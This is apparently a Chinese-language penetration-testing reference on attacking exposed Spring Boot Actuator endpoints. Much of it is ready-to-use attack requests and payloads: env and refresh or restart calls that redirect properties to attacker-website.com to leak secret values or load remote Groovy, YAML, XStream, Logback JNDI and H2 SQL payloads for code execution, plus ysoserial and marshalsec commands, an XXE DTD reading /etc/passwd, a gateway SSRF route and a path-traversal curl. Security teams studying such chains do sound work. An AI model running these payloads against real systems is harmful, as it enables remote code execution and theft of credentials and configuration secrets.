Spring Boot执行器

Spring Boot执行器概述

Spring Boot包括许多称为执行器的附加功能,以帮助在应用程序部署到生产环境时监控和控制应用程序。执行器允许使用HTTP或JMX端点来控制应用程序。如果应用程序配置不当,审计、健康和指标收集可能会为服务器打开隐藏的后门。

Spring Boot包含许多内置的端点(或Spring Boot 1.x的端点),并允许开发人员添加自己的端点。例如,health端点提供基本的应用程序健康信息。

每个单独的端点都可以启用或禁用,并通过HTTP或JMX暴露。端点在启用和暴露时被认为是可用的。内置端点只有在可用时才会自动配置。大多数应用程序选择通过HTTP暴露,其中端点的ID加上/actuator前缀映射到URL。例如,默认情况下,health端点映射到/actuator/health

要了解更多关于执行器端点及其请求和响应格式,请查看Spring Boot Actuator Web API Documentation

env

env暴露Spring的ConfigurableEnvironment中的属性。

Spring Boot 2.x使用json而不是x-www-form-urlencoded来通过env端点进行属性更改请求

envconfigprops端点返回的信息可能有些敏感,因此默认情况下匹配特定模式的键会被净化(替换为*)。但是,下面您可以找到几种检索这些值的方法

eureka.client.serviceUrl.defaultZone

eureka.client.serviceUrl.defaultZone需要以下条件:

  • /refresh端点可用

  • 应用程序使用spring-cloud-starter-netflix-eureka-client依赖

检索env属性

您可以通过以下步骤获取env属性值的明文:

  1. 设置eureka.client.serviceUrl.defaultZone属性:

    POST /actuator/env HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    {
        "name": "eureka.client.serviceUrl.defaultZone",
        "value": "http://value:${your.property.name}@attacker-website.com/"
    }
  2. 刷新配置

    POST /actuator/refresh HTTP/1.1
    Content-Type: application/json
  3. attacker-website.com日志中的Authorization头部检索属性值

参考:

XStream反序列化RCE

需要Eureka-Client版本< 1.8.7

您可以通过以下步骤获得RCE:

  1. 设置一个响应恶意XStream payload的网站,查看springboot-xstream-rce.py

  2. 设置eureka.client.serviceUrl.defaultZone属性:

    POST /actuator/env HTTP/1.1
    Content-Type: application/json
    
    {
        "name": "eureka.client.serviceUrl.defaultZone",
        "value": "http://attacker-website.com/payload"
    }
  3. 刷新配置:

    POST /actuator/refresh HTTP/1.1
    Content-Type: application/json
  4. 代码将被执行

可能的原因是:

  1. eureka.client.serviceUrl.defaultZone属性设置为外部eureka服务器URL

  2. 刷新触发对虚假eureka服务器的请求,该服务器将返回恶意payload

  3. 响应解析触发XStream反序列化,导致代码执行

参考:

logging.config

logging.config需要/restart可用。

Logback JNDI RCE

logging.config可以通过Logback JNDI导致RCE,查看Logback JNDI RCE

如何利用:

  1. 托管具有以下上下文的logback配置XML文件:

    <configuration>
        <insertFromJNDI env-entry-name="ldap://attacker-website.com:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
    </configuration>
  2. 托管恶意LDAP服务,查看文章如何准备payload并启动服务

  3. 设置logging.config属性:

    POST /actuator/env HTTP/1.1
    Content-Type: application/json
    
    {
        "name": "logging.config",
        "value": "http://attacker-website.com/logback.xml"
    }
  4. 重启应用程序:

    POST /actuator/restart HTTP/1.1
    Content-Type: application/json

资源:

Groovy RCE

如何利用:

  1. 托管具有以下内容的payload.groovy文件:

    Runtime.getRuntime().exec("open -a Calculator")
  2. 设置logging.config

    POST /actuator/env HTTP/1.1
    Content-Type: application/json
    
    {
        "name": "logging.config",
        "value": "http://attacker-website.com/payload.groovy"
    }
  3. 重启应用程序:

    POST /actuator/restart HTTP/1.1
    Content-Type: application/json

该链包含以下步骤:

  1. 攻击者使用logging.config属性设置Logback配置文件

  2. 应用程序在重启后请求配置

  3. logback-classic中的ch.qos.logback.classic.util.ContextInitializer.java确定URL是否以groovy结尾

  4. 配置文件中的Groovy代码被执行

参考:

spring.main.sources

spring.main.sources需要/restart可用。

如何利用:

  1. 托管具有以下内容的payload.groovy文件:

    Runtime.getRuntime().exec("open -a Calculator")
  2. 设置logging.config

    POST /actuator/env HTTP/1.1
    Content-Type: application/json
    
    {
        "name": "spring.main.sources",
        "value": "http://attacker-website.com/payload.groovy"
    }
  3. 重启应用程序:

    POST /actuator/restart HTTP/1.1
    Content-Type: application/json

该链包含以下步骤:

  1. spring.main.sources设置为带有payload的外部URL

  2. 应用程序在重启后请求该URL

  3. spring-boot中的org.springframework.boot.BeanDefinitionLoader.java确定URL是否以groovy结尾

  4. 配置文件中的Groovy代码被执行

参考:

spring.datasource.tomcat.validationQuery

spring.datasource.tomcat.validationQuery允许指定任何SQL查询,该查询将自动针对当前数据库执行。它可以是任何语句,包括insert、update或delete。

spring.datasource.tomcat.url

spring.datasource.tomcat.url允许修改当前的JDBC连接字符串。

这里的问题是,当应用程序建立到数据库的连接已经在运行时,仅更新JDBC字符串没有效果。但是您可以尝试使用spring.datasource.tomcat.max-active来增加同时数据库连接的数量。

因此,您可以更改JDBC连接字符串,增加连接数量,然后向应用程序发送许多请求来模拟重负载。在负载下,应用程序将使用更新的恶意JDBC字符串创建新的数据库连接。

spring.datasource.data

如果满足以下条件,spring.datasource.data可用于获得RCE:

  • /restart可用

  • 使用了h2databasespring-boot-starter-data-jpa依赖

如何利用:

  1. 托管具有以下内容的payload.sql文件:

    CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');

    payload中的T5方法必须在命令执行后重命名(为T6),然后才能重新创建和使用。否则,下次应用程序重启时漏洞将不会触发。

  2. 设置spring.datasource.data

    POST /actuator/env HTTP/1.1
    Content-Type: application/json
    
    {
        "name": "spring.datasource.data",
        "value": "http://attacker-website.com/payload.sql"
    }
  3. 重启应用程序:

    POST /actuator/restart HTTP/1.1
    Content-Type: application/json

利用链包含以下步骤:

  1. 攻击者将spring.datasource.data设置为JDBC DML SQL文件的URL

  2. 应用程序在重启后请求该URL

  3. spring-boot-autoconfigure中的org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java使用runScripts方法执行h2数据库SQL代码,导致RCE

参考:

spring.datasource.url

spring.datasource.url是仅用于第一次连接的数据库连接字符串。您可以将其与MySQL中的JDBC反序列化漏洞链接以获得RCE。该漏洞需要以下条件:

  • /refresh可用

  • 使用了mysql-connector-java依赖

更改spring.datasource.url将暂时禁用所有正常的数据库服务

如何利用:

  1. 使用/actuator/env端点获取以下值:

    • mysql-connector-java版本号(5.x或8.x)

    • 常见的反序列化小工具,如commons-collections

    • spring.datasource.url值,以便稍后制定其正常的JDBC URL

  2. 使用ysoserial创建payload:

    java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
  3. 设置spring.datasource.url属性:

    mysql-connector-java版本5.x:

    POST /actuator/env HTTP/1.1
    Content-Type: application/json
    
    {
        "name": "spring.datasource.url",
        "value":"jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
    }

    mysql-connector-java版本8.x:

    POST /actuator/env HTTP/1.1
    Content-Type: application/json
    
    {
        "name": "spring.datasource.url",
        "value":"jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
    }
  4. 刷新配置:

    POST /actuator/refresh HTTP/1.1
    Content-Type: application/json
  5. 尝试访问将触发数据库查询的端点,例如/product/list,或找到其他方式查询数据库并触发漏洞

利用链包含以下步骤:

  • spring.datasource.url设置为外部MySQL JDBC URL

  • 刷新配置

  • 应用程序在执行数据库查询时使用恶意的MySQL JDBS URL建立新的数据库连接

  • 恶意MySQL服务器在建立连接的适当阶段返回payload

  • mysql-connector-java反序列化payload并执行任意代码

参考:

spring.cloud.bootstrap.location

spring.cloud.bootstrap.location需要以下条件:

  • /refresh端点可用

  • spring-cloud-starter版本< 1.3.0.RELEASE

检索env属性

您可以通过以下步骤获取env属性值的明文:

  1. 设置spring.cloud.bootstrap.location属性:

    POST /actuator/env HTTP/1.1
    Content-Type: application/json
    
    {
        "name": "spring.cloud.bootstrap.location",
        "value": "http://attacker-website.com/?=${your.property.name}"
    }
  2. 刷新配置

    POST /actuator/refresh HTTP/1.1
    Content-Type: application/json
  3. attacker-website.com日志中检索属性值

参考:

SnakeYML RCE

spring.cloud.bootstrap.location允许加载YAML格式的外部配置。您可以通过以下步骤获得代码执行:

  1. http://attacker-website.com/config.yml托管config.yml,内容如下:

    !!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[
        !!java.net.URL ["http://attacker-website.com/payload.jar"]
      ]]
    ]
  2. 托管包含将被执行的代码的payload.jar,查看marshalsec researchartsploit/yaml-payload了解如何准备payload

  3. 设置spring.cloud.bootstrap.location属性:

    POST /actuator/env HTTP/1.1
    Content-Type: application/json
    
    {
        "name": "spring.cloud.bootstrap.location",
        "value": "http://attacker-website.com/yaml-payload.yml"
    }
  4. 刷新配置:

    POST /actuator/refresh HTTP/1.1
    Content-Type: application/json
  5. 代码将被执行

可能的原因是:

  1. spring.cloud.bootstrap.location设置为带有外部恶意配置的URL

  2. 刷新触发对远程服务器上配置文件的请求并检索其内容

  3. 由于反序列化漏洞,SnakeYAML在解析恶意配置时完成指定的操作

  4. SnakeYAML使用java.net.URL从远程服务器拉取恶意jar

  5. SnakeYAML在jar中搜索实现javax.script.ScriptEngineFactory接口的类并创建其实例

  6. 实例创建导致恶意代码执行

参考:

spring.datasource.hikari.connection-test-query

spring.datasource.hikari.connection-test-query设置一个在从池中授予连接之前将执行的查询。如果满足以下条件,它可能导致RCE:

  • /restart端点可用

  • 使用了com.h2database.h2依赖

您可以通过以下步骤获得代码执行:

  1. 设置spring.datasource.hikari.connection-test-query属性

    POST /actuator/env HTTP/1.1
    Content-Type: application/json
    
    {
        "name": "spring.datasource.hikari.connection-test-query",
        "value": "CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"
    }

    payload中的T5方法必须在命令执行后重命名(为T6),然后才能重新创建和使用。否则,下次应用程序重启时漏洞将不会触发。

  2. 重启应用程序:

    POST /actuator/restart HTTP/1.1
    Content-Type: application/json

工作原理:

  • spring.datasource.hikari.connection-test-query设置为使用CREATE ALIAS创建自定义函数的恶意SQL语句

  • spring.datasource.hikari.connection-test-query对应于HikariCP数据库连接池的connectionTestQuery配置,并定义在新数据库连接之前要执行的SQL语句

  • 重启建立新的数据库连接

  • 自定义函数被执行

参考:

gateway

gateway执行器端点让您监控和与Spring Cloud Gateway应用程序交互。换句话说,您可以为应用程序定义路由,并使用gateway执行器根据这些路由触发请求。

SSRF

至少存在以下问题:

  1. 路由可以提供对隐藏或内部端点的访问,这些端点可能配置不当或存在漏洞。您可以通过向/actuator/gateway/routes发送GET请求来获取所有可用路由。

  2. 如果添加路由不需要管理员权限,则会出现完整的SSRF。下一个请求将创建到本地主机的路由:

    POST /actuator/gateway/routes/new_route HTTP/1.1
    Content-Type: application/json
    
    {
    "predicates": [
        {
        "name": "Path",
        "args": {
            "_genkey_0": "/new_route/**"
        }
        }
    ],
    "filters": [
        {
        "name": "RewritePath",
        "args": {
            "_genkey_0": "/new_route(?<path>.*)",
            "_genkey_1": "/${path}"
        }
        }
    ],
    "uri": "https://localhost",
    "order": 0
    }

    发送刷新请求以应用新路由:

    POST /actuator/gateway/refresh HTTP/1.1
    Content-Type: application/json
    
    {
        "predicate": "Paths: [/new_route], match trailing slash: true",
        "route_id": "new_route",
        "filters": [
            "[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]"
        ],
        "uri": "https://localhost",
        "order": 0
    }

参考:

SpEL代码注入

使用3.1.03.0.6之前版本的Spring Cloud Gateway的应用程序容易受到CVE-2022-22947的攻击,当Gateway Actuator端点启用、暴露且不安全时,会导致代码注入攻击。远程攻击者可以制作恶意请求,允许在远程主机上进行任意远程执行。

查看以下带有详细信息的文章:

trace或httptrace

显示HTTP跟踪信息(默认情况下,最后100个HTTP请求-响应交换)。它可能泄露内部应用程序请求的详细信息以及用户cookie和JWT令牌。

trace需要一个HttpTraceRepository bean。

mappings

mappings显示所有@RequestMapping路径的整理列表。

sessions

sessions允许从Spring Session支持的会话存储中检索和删除用户会话。需要使用Spring Session的基于Servlet的Web应用程序。

shutdown

shutdown允许应用程序优雅地关闭。默认情况下禁用。

h2-console

需要以下条件:

  • 使用了com.h2database.h2依赖

  • h2控制台在Spring配置中启用spring.h2.console.enabled=true

您可以通过h2数据库控制台中的JDNI获得RCE:

  1. 访问h2控制台/h2-console。应用程序将重定向到/h2-console/login.jsp?jsessionid=xxxxxx。捕获jsessionid值。

  2. 准备要执行的Java代码,您可以重用JNDIObject.java

  3. 以与早期JDK版本兼容的方式编译:

    javac -source 1.5 -target 1.5 JNDIObject.java
  4. http://attacker-website.com/托管编译的JNDIObject.class

  5. 使用marshalsec设置LDAP服务:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-website.com:80/#JNDIObject 1389
  6. 触发JNDI注入:

    POST /h2-console/login.do?jsessionid=xxxxxx
    Host: vulnerable-website.com
    Content-Type: application/json
    Referer: http://vulnerable-website.com/h2-console/login.jsp?jsessionid=xxxxxx
    
    {
        "language": "en",
        "setting": "Generic+H2+(Embedded)",
        "name": "Generic+H2+(Embedded)",
        "driver": "javax.naming.InitialContext",
        "url": "ldap://attacker-website.com:1389/JNDIObject",
        "user": "",
        "password": ""
    }

参考:

heapdump

heapdump返回一个hprof堆转储文件,可能包含敏感数据,如env属性。要从prof堆转储中检索数据,使用Eclipse Memory Analyzer工具,查看Find password plaintext in spring heapdump using MAT

参考:

jolokia

通过HTTP暴露JMX bean(当Jolokia在类路径上时,WebFlux不可用)。需要依赖jolokia-core

提取env属性

您可以调用相关的MBeans以明文检索env属性值。下面您可以找到可用于此目的的MBeans。但是,情况可能有所不同,列出的Mbeans可能不可用。但是,您可以搜索可以通过getProperty等关键字调用的方法。

参考:

org.springframework.boot

您可以使用以下请求获取env属性值的明文:

POST /actuator/jolokia HTTP/1.1
Content-Type: application/json

{
    "mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
    "operation": "getProperty",
    "type": "EXEC",
    "arguments": [
        "your.property.name"
    ]
}

org.springframework.boot MBean调用org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar类实例的getProperty方法。

org.springframework.cloud.context.environment

您可以使用以下请求获取env属性值的明文:

POST /actuator/jolokia HTTP/1.1
Content-Type: application/json

{
    "mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager",
    "operation": "getProperty",
    "type": "EXEC",
    "arguments": [
        "your.property.name"
    ]
}

org.springframework.cloud.context.environment MBean调用org.springframework.cloud.context.environment.EnvironmentManager类实例的getProperty方法。

Logback::reloadByURL

您可以使用/jolokia/list端点列出所有可用的MBeans操作。大多数MBeans操作只暴露一些系统数据,但如果存在Logback库提供的reloadByURL操作:

可以从外部URL重新加载日志配置:

http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker-website.com!/logback.xml

带外XXE

Logback使用由启用了外部实体的SAXParser XML解析器解析的XML配置。您可以利用此功能触发带外XXE:

<!-- logback.xml -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://attacker-website.com/file.dtd">%remote;%int;]>
<a>&trick;</a>
<!-- file.dtd -->
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
包含/etc/passwd文件内容和错误的服务器响应

参考:

Logback JNDI RCE

Logback配置具有从JNDI获取变量的功能。在XML配置文件中,您可以包含如下标签:

<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName"/>

在这种情况下,env-entry-name属性将传递给DirContext.lookup()方法。向lookup方法提供任意名称可以通过远程类加载导致远程代码执行。

您可以通过以下步骤获得代码执行:

  1. 获取/jolokia/list以检查ch.qos.logback.classic.jmx.JMXConfigurator类和reloadByURL方法是否可用

  2. http://attacker-website.com/logback.xml托管logback配置:

    <configuration>
        <insertFromJNDI env-entry-name="ldap://attacker-website.com:1389/JNDIObject" as="appName" />
    </configuration>
  3. 准备要执行的Java代码,您可以重用JNDIObject.java

  4. 以与早期JDK版本兼容的方式编译:

    javac -source 1.5 -target 1.5 JNDIObject.java
  5. http://attacker-website.com/托管编译的JNDIObject.class

  6. 设置LDAP服务器,使用marshalsec设置服务器:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-website.com:80/#JNDIObject 1389
  7. 使用以下请求从外部URL加载日志配置:

    GET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker-website.com!/logback.xml HTTP/1.1

    如果应用程序成功请求logback.xmlmarshalsec接收到目标请求,但应用程序未请求JNDIObject.class,则可能是应用程序的JDK版本过高,导致JNDI使用失败。

可能的原因是以下步骤:

  1. 直接访问可能导致漏洞的URL等同于通过jolokia reloadByURL调用ch.qos.logback.classic.jmx.JMXConfigurator类方法

  2. 应用程序从外部URL请求XML配置文件

  3. XML配置由saxParser.parse解析,导致XXE漏洞

  4. 在Logback XML配置文件中使用insertFormJNDI标签指定外部JNDI服务器地址

  5. 应用程序请求恶意JNDI服务器,导致JNDI注入和RCE

参考:

Tomcat::createJNDIRealm

Tomcat(嵌入到Spring Boot中)的MBeans之一是createJNDIRealmcreateJNDIRealm允许创建易受JNDI注入攻击的JNDIRealm。您可以通过以下步骤利用:

  1. 获取/jolokia/list以检查type=MBeanFactoryandcreateJNDIRealm是否存在

  2. 准备要执行的Java代码,您可以重用JNDIObject.java

  3. 编译代码并在http://attacker-website.com/托管编译的类

  4. 使用marshalsec设置RMI服务:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker-website.com:80/#JNDIObject 1389
  5. 使用springboot-realm-jndi-rce.py发送payload

可能的原因是以下链:

  1. 使用createJNDIRealm创建JNDIRealm

  2. connectionURL地址设置为RMI服务URL

  3. contextFactory设置为RegistryContextFactory

  4. 停止Realm

  5. 启动Realm以触发指定RMI地址的JNDI注入,导致RCE

参考:

Jookia CVEs

logfile

logfile返回日志文件的内容(如果设置了logging.file.namelogging.file.path属性)。支持使用HTTP Range头部检索日志文件内容的一部分。

logview

spring-boot-actuator-logview0.2.13之前的版本易受路径遍历攻击,允许您检索任意文件。

# 检索 /etc/passwd
$ curl http://localhost:8887/manage/log/view?filename=/etc/passwd&base=../../../../../

参考:

dump或threaddump

dump或threaddump从应用程序的JVM执行线程转储。

参考

最后更新于